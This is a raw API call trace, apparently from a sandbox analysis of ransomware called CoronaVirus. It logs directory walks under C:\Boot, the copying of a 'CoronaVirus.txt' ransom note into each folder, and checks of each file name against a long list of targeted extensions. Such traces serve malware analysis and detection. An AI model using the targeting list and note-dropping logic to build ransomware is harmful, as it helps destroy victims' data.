	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.349] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.349] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.350] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb091524, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb091524, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.350] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.350] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.350] malloc (_Size=0x1000) returned 0x2f42618
	[0083.350] _swprintf (in: param_1=0x2f42618, param_2="%s\\%s" | out: param_1="C:\\Boot\\nl-NL\\CoronaVirus.txt") returned 29
	[0083.350] wcsstr (_Str="C:\\Boot\\nl-NL\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.350] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.350] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.350] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.350] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.350] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1
	[0083.350] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0083.350] wcsncmp (_String1="p", _String2=".", _MaxCount=0x1) returned 66
	[0083.350] wcsncmp (_String1="pl", _String2="..", _MaxCount=0x2) returned 66
	[0083.350] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL") returned 13
	[0083.350] wcsncmp (_String1="C:\\Boot\\p", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.350] wcsstr (_Str="C:\\Boot\\pl-PL", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.350] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\pl-PL\\CoronaVirus.txt" (normalized: "c:\\boot\\pl-pl\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.353] _alloca_probe () returned 0x4036d0
	[0083.354] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\pl-PL", lpFilePart=0x316583c*="pl-PL") returned 0xd
	[0083.354] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.354] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.354] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb091524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.354] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.354] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.354] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.354] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.354] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.354] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.355] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.355] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.356] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.356] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.357] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.357] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb091524, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb091524, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.357] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.357] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.357] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.357] malloc (_Size=0x1000) returned 0x2f43620
	[0083.357] _swprintf (in: param_1=0x2f43620, param_2="%s\\%s" | out: param_1="C:\\Boot\\pl-PL\\CoronaVirus.txt") returned 29
	[0083.357] wcsstr (_Str="C:\\Boot\\pl-PL\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.357] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.357] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.357] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.357] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.358] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.358] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.359] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.359] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.360] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.360] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.360] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.360] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.361] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0083.361] wcsncmp (_String1="p", _String2=".", _MaxCount=0x1) returned 66
